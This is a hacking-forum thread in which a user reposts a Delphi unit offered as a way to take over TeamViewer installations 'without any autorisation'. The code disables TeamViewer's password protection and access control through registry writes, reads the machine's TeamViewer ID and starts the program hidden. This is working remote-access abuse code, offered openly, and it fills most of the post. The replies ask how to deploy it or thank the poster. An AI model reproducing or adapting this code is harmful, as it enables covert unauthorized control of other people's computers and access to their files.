iExploit

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In Apply for Membership

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Looking to introduce yourself? Look no further, and click here! We also have IRC! [irc.evilzone.org #iexploit]
« Teamviewer Hack Unit [delphi] »
  • CustomiZer
    Posts: 87
    Hello members,

    thought I would share with you guys.
    This is a really sample way to hack the team viewer legal software with this unit
    you can down the protection and get the logins of teamviewer !
    then you can control the remote guy without any autorisation : >> Only by
    registry !


    (*
    --
    Author : DarkCoderSc
    From : France
    Mail : DarkCoderSc@Unremote.org
    --
    Comunity : Http://www.opensc.ws/
    --
    Require Registry.pas , Classes , Sysutils to be add in uses
    --
    *)

    unit UntTVHack;

    interface

    Uses Windows,Registry,Sysutils,ShellAPI;
    {--}
    Procedure TVUnactivePassWD;
    Procedure TVFullAccess;
    Function TVID : Integer;
    Function TVFormatIDToString(TID:Integer) : String;
    Procedure RunTVHide;
    Function TVCheckVersion : String;
    Function TVGetFullVersion : String;
    Function GetTVPath:String;
    {--}
    implementation

    {--}
    Const TeamViewer0 = 'SOFTWARE\TeamViewer';
    {--}

    {Get the TV Version--}
    Function TVCheckVersion : String;
    var Reg : TRegistry;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0,True);
    If Reg.KeyExists('Version3') Then Result := '\Version3';
    If Reg.KeyExists('Version4') Then Result := '\Version4';
    If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
    Result := '[Not Installed]';
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;
    {--}

    {Get the Full TV Version--}
    Function TVGetFullVersion : String;
    var Reg : TRegistry;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
    Result := Reg.ReadString('Version');
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;
    {--}

    {This will unactive team viewer pass word protection O_o}
    Procedure TVUnactivePassWD;
    var Reg : TRegistry;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
    Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;
    {--}

    {This will give the full access of dekstop and files}
    Procedure TVFullAccess;
    var Reg : TRegistry;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
    Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;
    {--}

    {This will give the Team Viewer ID}
    Function TVID : Integer;
    var Reg : TRegistry;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
    Result := Reg.ReadInteger('ClientID'); // Disable Password query
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;
    {--}

    {This little function will format in String- the TeamViewer ID}
    Function TVFormatIDToString(TID:Integer) : String;
    Var bloc,bloc1,bloc2,bloc3:String;
    Begin
    bloc := IntToStr(TID);
    {Parse ID--}
    bloc1 := Copy(bloc,1,3);
    Delete(bloc,1,3);
    bloc2 := Copy(bloc,1,3);
    Delete(bloc,1,3);
    bloc3 := Copy(bloc,1,3);
    Delete(bloc,1,3);
    {--}
    Result := bloc1+' '+bloc2+' '+bloc3;
    End;
    {--}

    {Now Launch Team Viewer Hidely}
    Procedure RunTVHide;
    var Reg : TRegistry;
    TVPATH : String;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
    TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
    {--}
    ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;

    Function GetTVPath:String;
    var Reg : TRegistry;
    TVPATH : String;
    Begin
    Reg := TRegistry.Create;
    {--}
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
    TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
    {--}
    Result := TVPath;
    {--}
    Reg.CloseKey;
    Reg.Free;
    End;
    {--}
    end.


    Author : DarkCoderSc
    From : France
    Coded in : Delphi
    All credits goes to the author (DarkCoderSc) I take no credits in this. I just did a copy paste :P
    Enjoy

    -CustomiZer

    EDIT : Members don't PM me asking what it is and what to do. I'll never teach you. Learn it yourself or this is not for you.
  • Xin
    Posts: 3,251
    Nice this could be worked on to make even better ;), although its not practical, as teamviewer is obvious when someone is logged onto you
    Xin
  • pusoy23
    Posts: 19
    where should i put this code? or how can make it work with this..
  • idhabib
    Posts: 2
    i thought it last year, and now i am seeing this...YOU MADE IT! thanks for sharing.. reply you back after testing it :)
Add a Comment